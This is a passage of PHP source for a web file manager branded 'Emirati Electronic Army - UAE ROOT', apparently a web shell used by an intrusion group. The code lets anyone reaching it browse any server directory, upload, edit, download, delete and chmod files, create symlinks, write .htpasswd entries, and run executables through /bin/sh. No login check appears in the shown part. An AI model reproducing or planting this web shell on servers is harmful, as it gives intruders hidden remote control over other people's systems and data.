if (!empty($_SERVER['PATH_TRANSLATED'])) {
	$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
	$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
	$scriptdir = getcwd();
} else {
	$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);

$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;

if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
	$dir = relative2absolute($dir, $_POST['olddir']);
}

$directory = simplify_path(addslash($dir));

$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
	$action = $_POST['action_all'];
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
			$files[] = $_POST["file$i"];
		}
	}
} elseif (!empty($_REQUEST['action'])) {
	$action = $_REQUEST['action'];
	$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
	$files[] = $_FILES['upload'];
	$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("submit$i", $_POST)) break;
	}
	if ($i < $_POST['num']) {
		$action = $_POST["action$i"];
		$files[] = $_POST["file$i"];
	}
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
	$files[] = relative2absolute($_POST['create_name'], $directory);
	switch ($_POST['create_type']) {
	case 'directory':
		$action = 'create_directory';
		break;
	case 'file':
		$action = 'create_file';
	}
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);

if ($lang == 'auto') {
	if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
		$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
	} else {
		$lang = 'en';
	}
}

$words = getwords($lang);

if ($site_charset == 'auto') {
	$site_charset = $word_charset;
}

$cols = ($win) ? 4 : 7;

if (!isset($dirpermission)) {
	$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
	$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}

if (!empty($_SERVER['SCRIPT_NAME'])) {
	$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
	$self = html(basename($_SERVER['PHP_SELF']));
} else {
	$self = '';
}

if (!empty($_SERVER['SERVER_SOFTWARE'])) {
	if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
		$apache = true;
	} else {
		$apache = false;
	}
} else {
	$apache = true;
}

switch ($action) {

case 'view':

	if (is_script($file)) {

		/* highlight_file is a mess! */
		ob_start();
		highlight_file($file);
		$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
		$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
		ob_end_clean();

		html_header();
		echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";

		echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';

		html_footer();

	} else {

		header('Content-Type: ' . getmimetype($file));
		header('Content-Disposition: filename=' . basename($file));

		readfile($file);

	}

	break;

case 'download':

	header('Pragma: public');
	header('Expires: 0');
	header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
	header('Content-Type: ' . getmimetype($file));
	header('Content-Disposition: attachment; filename=' . basename($file) . ';');
	header('Content-Length: ' . filesize($file));

	readfile($file);

	break;

case 'upload':

	$dest = relative2absolute($file['name'], $directory);

	if (@file_exists($dest)) {
		listing_page(error('already_exists', $dest));
	} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
		@chmod($dest, $filepermission);
		listing_page(notice('uploaded', $file['name']));
	} else {
		listing_page(error('not_uploaded', $file['name']));
	}

	break;

case 'create_directory':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$dirpermission);
		if (@mkdir($file, $dirpermission)) {
			listing_page(notice('created', $file));
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'create_file':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$filepermission);
		if (@touch($file)) {
			edit($file);
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'execute':

	chdir(dirname($file));

	$output = array();
	$retval = 0;
	exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);

	$error = ($retval == 0) ? false : true;

	if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');

	if ($error) {
		listing_page(error('not_executed', $file, implode("\n", $output)));
	} else {
		listing_page(notice('executed', $file, implode("\n", $output)));
	}

	break;

case 'delete':

	if (!empty($_POST['no'])) {
		listing_page();
	} elseif (!empty($_POST['yes'])) {

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			if (del($file)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_deleted', implode("\n", $failure));
		}
		if (sizeof($success) > 0) {
			$message .= notice('deleted', implode("\n", $success));
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\t<b>" . word('really_delete') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';

		html_footer();

	}

	break;

case 'rename':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (!@file_exists($dest) && @rename($file, $dest)) {
			listing_page(notice('renamed', $file, $dest));
		} else {
			listing_page(error('not_renamed', $file, $dest));
		}

	} else {

		$name = basename($file);

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
	<input type="hidden" name="action" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
	<hr />
	<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'move':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			$filename = substr($file, strlen($directory));
			$d = $dest . $filename;
			if (!@file_exists($d) && @rename($file, $d)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_moved', implode("\n", $failure), $dest);
		}
		if (sizeof($success) > 0) {
			$message .= notice('moved', implode("\n", $success), $dest);
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\t<b>" . word('move_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'copy':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (@is_dir($dest)) {

			$failure = array();
			$success = array();

			foreach ($files as $file) {
				$filename = substr($file, strlen($directory));
				$d = addslash($dest) . $filename;
				if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
					$success[] = $file;
				} else {
					$failure[] = $file;
				}
			}

			$message = '';
			if (sizeof($failure) > 0) {
				$message = error('not_copied', implode("\n", $failure), $dest);
			}
			if (sizeof($success) > 0) {
				$message .= notice('copied', implode("\n", $success), $dest);
			}

			listing_page($message);

		} else {

			if (!@file_exists($dest) && @copy($file, $dest)) {
				listing_page(notice('copied', $file, $dest));
			} else {
				listing_page(error('not_copied', $file, $dest));
			}

		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\n<b>" . word('copy_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'create_symlink':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (substr($dest, -1, 1) == $delim) $dest .= basename($file);

		if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);

		if (!@file_exists($dest) && @symlink($file, $dest)) {
			listing_page(notice('symlinked', $file, $dest));
		} else {
			listing_page(error('not_symlinked', $file, $dest));
		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog" id="symlink">
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'edit':

	if (!empty($_POST['save'])) {

		$content = str_replace("\r\n", "\n", $_POST['content']);

		if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
			listing_page(notice('saved', $file));
		} else {
			listing_page(error('not_saved', $file));
		}

	} else {

		if (@is_readable($file) && @is_writable($file)) {
			edit($file);
		} else {
			listing_page(error('not_edited', $file));
		}

	}

	break;

case 'permission':

	if (!empty($_POST['set'])) {

		$mode = 0;
		if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
		if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
		if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;

		if (@chmod($file, $mode)) {
			listing_page(notice('permission_set', $file, decoct($mode)));
		} else {
			listing_page(error('permission_not_set', $file, decoct($mode)));
		}

	} else {

		html_header();

		$mode = fileperms($file);

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

	<table id="permission">
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

default:

	listing_page();

}

/* ------------------------------------------------------------------------- */

function getlist ($directory) {
	global $delim, $win;

	if ($d = @opendir($directory)) {

		while (($filename = @readdir($d)) !== false) {

			$path = $directory . $filename;

			if ($stat = @lstat($path)) {

				$file = array(
					'filename'    => $filename,
					'path'        => $path,
					'is_file'     => @is_file($path),
					'is_dir'      => @is_dir($path),
					'is_link'     => @is_link($path),
					'is_readable' => @is_readable($path),
					'is_writable' => @is_writable($path),
					'size'        => $stat['size'],
					'permission'  => $stat['mode'],
					'owner'       => $stat['uid'],
					'group'       => $stat['gid'],
					'mtime'       => @filemtime($path),
					'atime'       => @fileatime($path),
					'ctime'       => @filectime($path)
				);

				if ($file['is_dir']) {
					$file['is_executable'] = @file_exists($path . $delim . '.');
				} else {
					if (!$win) {
						$file['is_executable'] = @is_executable($path);
					} else {
						$file['is_executable'] = true;
					}
				}

				if ($file['is_link']) $file['target'] = @readlink($path);

				if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
				if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));

				$files[] = $file;

			}

		}

		return $files;

	} else {
		return false;
	}

}

function sortlist (&$list, $key, $reverse) {

	quicksort($list, 0, sizeof($list) - 1, $key);

	if ($reverse) $list = array_reverse($list);

}

function quicksort (&$array, $first, $last, $key) {

	if ($first < $last) {

		$cmp = $array[floor(($first + $last) / 2)][$key];

		$l = $first;
		$r = $last;

		while ($l <= $r) {

			while ($array[$l][$key] < $cmp) $l++;
			while ($array[$r][$key] > $cmp) $r--;

			if ($l <= $r) {

				$tmp = $array[$l];
				$array[$l] = $array[$r];
				$array[$r] = $tmp;

				$l++;
				$r--;

			}

		}

		quicksort($array, $first, $r, $key);
		quicksort($array, $l, $last, $key);

	}

}

function permission_octal2string ($mode) {

	if (($mode & 0xC000) === 0xC000) {
		$type = 's';
	} elseif (($mode & 0xA000) === 0xA000) {
		$type = 'l';
	} elseif (($mode & 0x8000) === 0x8000) {
		$type = '-';
	} elseif (($mode & 0x6000) === 0x6000) {
		$type = 'b';
	} elseif (($mode & 0x4000) === 0x4000) {
		$type = 'd';
	} elseif (($mode & 0x2000) === 0x2000) {
		$type = 'c';
	} elseif (($mode & 0x1000) === 0x1000) {
		$type = 'p';
	} else {
		$type = '?';
	}

	$owner  = ($mode & 00400) ? 'r' : '-';
	$owner .= ($mode & 00200) ? 'w' : '-';
	if ($mode & 0x800) {
		$owner .= ($mode & 00100) ? 's' : 'S';
	} else {
		$owner .= ($mode & 00100) ? 'x' : '-';
	}

	$group  = ($mode & 00040) ? 'r' : '-';
	$group .= ($mode & 00020) ? 'w' : '-';
	if ($mode & 0x400) {
		$group .= ($mode & 00010) ? 's' : 'S';
	} else {
		$group .= ($mode & 00010) ? 'x' : '-';
	}

	$other  = ($mode & 00004) ? 'r' : '-';
	$other .= ($mode & 00002) ? 'w' : '-';
	if ($mode & 0x200) {
		$other .= ($mode & 00001) ? 't' : 'T';
	} else {
		$other .= ($mode & 00001) ? 'x' : '-';
	}

	return $type . $owner . $group . $other;

}

function is_script ($filename) {
	return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}

function getmimetype ($filename) {
	static $mimes = array(
		'\.jpg$|\.jpeg$'  => 'image/jpeg',
		'\.gif$'          => 'image/gif',
		'\.png$'          => 'image/png',
		'\.html$|\.html$' => 'text/html',
		'\.txt$|\.asc$'   => 'text/plain',
		'\.xml$|\.xsl$'   => 'application/xml',
		'\.pdf$'          => 'application/pdf'
	);

	foreach ($mimes as $regex => $mime) {
		if (eregi($regex, $filename)) return $mime;
	}

	// return 'application/octet-stream';
	return 'text/plain';

}

function del ($file) {
	global $delim;

	if (!@is_link($file) && !file_exists($file)) return false;

	if (!@is_link($file) && @is_dir($file)) {

		if ($dir = @opendir($file)) {

			$error = false;

			while (($f = readdir($dir)) !== false) {
				if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
					$error = true;
				}
			}
			closedir($dir);

			if (!$error) return @rmdir($file);

			return !$error;

		} else {
			return false;
		}

	} else {
		return @unlink($file);
	}

}

function addslash ($directory) {
	global $delim;

	if (substr($directory, -1, 1) != $delim) {
		return $directory . $delim;
	} else {
		return $directory;
	}

}

function relative2absolute ($string, $directory) {

	if (path_is_relative($string)) {
		return simplify_path(addslash($directory) . $string);
	} else {
		return simplify_path($string);
	}

}

function path_is_relative ($path) {
	global $win;

	if ($win) {
		return (substr($path, 1, 1) != ':');
	} else {
		return (substr($path, 0, 1) != '/');
	}

}

function absolute2relative ($directory, $target) {
	global $delim;

	$path = '';
	while ($directory != $target) {
		if ($directory == substr($target, 0, strlen($directory))) {
			$path .= substr($target, strlen($directory));
			break;
		} else {
			$path .= '..' . $delim;
			$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
		}
	}
	if ($path == '') $path = '.';

	return $path;

}

function simplify_path ($path) {
	global $delim;

	if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
		$path = realpath($path);
		if (@is_dir($path)) {
			return addslash($path);
		} else {
			return $path;
		}
	}

	$pattern  = $delim . '.' . $delim;

	if (@is_dir($path)) {
		$path = addslash($path);
	}

	while (strpos($path, $pattern) !== false) {
		$path = str_replace($pattern, $delim, $path);
	}

	$e = addslashes($delim);
	$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;

	while (ereg($regex, $path)) {
		$path = ereg_replace($regex, $delim, $path);
	}
	
	return $path;

}

function human_filesize ($filesize) {

	$suffices = 'kMGTPE';

	$n = 0;
	while ($filesize >= 1000) {
		$filesize /= 1024;
		$n++;
	}

	$filesize = round($filesize, 3 - strpos($filesize, '.'));

	if (strpos($filesize, '.') !== false) {
		while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
			$filesize = substr($filesize, 0, strlen($filesize) - 1);
		}
	}

	$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));

	return $filesize . " {$suffix}B";

}

function strip (&$str) {
	$str = stripslashes($str);
}

/* ------------------------------------------------------------------------- */

function listing_page ($message = null) {
	global $self, $directory, $sort, $reverse;

	html_header();

	$list = getlist($directory);

	if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
	if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;

	sortlist($list, $sort, $reverse);

	echo '<h1 style="margin-bottom: 0">Emirati Electronic Army  -  UAE ROOT</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table id="main">
';

	directory_choice();

	if (!empty($message)) {
		spacer();
		echo $message;
	}

	if (@is_writable($directory)) {
		upload_box();
		create_box();
	} else {
		spacer();
	}

	if ($list) {
		listing($list);
	} else {
		echo error('not_readable', $directory);
	}

	echo '</table>

</form>

';

	html_footer();

}

function listing ($list) {
	global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;

	echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';

	$d = 'dir=' . urlencode($directory) . '&amp;';

	if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = '';
	echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";

	if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = '';
	echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";

	if (!$win) {

		if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = '';
		echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";

		if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = '';
		echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";

		if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = '';
		echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";

	}

	echo '	<th class="functions">' . word('functions') . '</th>
</tr>
';

	for ($i = 0; $i < sizeof($list); $i++) {
		$file = $list[$i];

		$timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
		$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
		$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);

		echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';

		if ($file['is_link']) {

			echo '<img src="' . $self . '?image=link" alt="link" /> ';
			echo html($file['filename']) . ' &rarr; ';

			$real_file = relative2absolute($file['target'], $directory);

			if (@is_readable($real_file)) {
				if (@is_dir($real_file)) {
					echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
				} else {
					echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
				}
			} else {
				echo html($file['target']);
			}

		} elseif ($file['is_dir']) {

			echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
			if ($win || $file['is_executable']) {
				echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}
			echo ' ]';

		} else {

			if (substr($file['filename'], 0, 1) == '.') {
				echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
			} else {
				echo '<img src="' . $self . '?image=file" alt="file" /> ';
			}

			if ($file['is_file'] && $file['is_readable']) {
			   echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}

		}

		if ($file['size'] >= 1000) {
			$human = ' title="' . human_filesize($file['size']) . '"';
		} else {
			$human = '';
		}

		echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";

		if (!$win) {

			echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';

			$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
			if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
			echo html(permission_octal2string($file['permission']));
			if ($l) echo '</a>';

			echo "</td>\n";

			if (array_key_exists('owner_name', $file)) {
				echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
			} else {
				echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
			}

			if (array_key_exists('group_name', $file)) {
				echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
			} else {
				echo "\t<td class=\"group\">{$file['group']}</td>\n";
			}

		}

		echo '	<td class="functions">
		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';

		$actions = array();
		if (function_exists('symlink')) {
			$actions[] = 'create_symlink';
		}
		if (@is_writable(dirname($file['path']))) {
			$actions[] = 'delete';
			$actions[] = 'rename';
			$actions[] = 'move';
		}
		if ($file['is_file'] && $file['is_readable']) {
			$actions[] = 'copy';
			$actions[] = 'download';
			if ($file['is_writable']) $actions[] = 'edit';
		}
		if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
			$actions[] = 'execute';
		}

		if (sizeof($actions) > 0) {

			echo '		<select class="small" name="action' . $i . '" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

			foreach ($actions as $action) {
				echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
			}

			echo '		</select>
		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';

		}

		echo '	</td>
</tr>
';

	}

	echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';

	$actions = array();
	if (@is_writable(dirname($file['path']))) {
		$actions[] = 'delete';
		$actions[] = 'move';
	}
	$actions[] = 'copy';

	echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

	foreach ($actions as $action) {
		echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
	}

	echo '		</select>
		<input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function directory_choice () {
	global $directory, $homedir, $cols, $self;

	echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';

}

function upload_box () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function create_box () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';

}

function edit ($file) {
	global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;

	html_header();

	echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';

	if (array_key_exists('content', $_POST)) {
		echo $_POST['content'];
	} else {
		$f = fopen($file, 'r');
		while (!feof($f)) {
			echo html(fread($f, 8192));
		}
		fclose($f);
	}

	if (!empty($_POST['user'])) {
		echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
	}
	if (!empty($_POST['basic_auth'])) {
		if ($win) {
			$authfile = str_replace('\\', '/', $directory) . $htpasswd;
		} else {
			$authfile = $directory . $htpasswd;
		}
		echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
		echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
		echo 'Require valid-user';
	}

	echo '</textarea>

	<hr />
';

	if ($apache && basename($file) == $htpasswd) {
		echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';

	}

	if ($apache && basename($file) == $htaccess) {
		echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';

	}

	echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

	html_footer();

}

function spacer () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
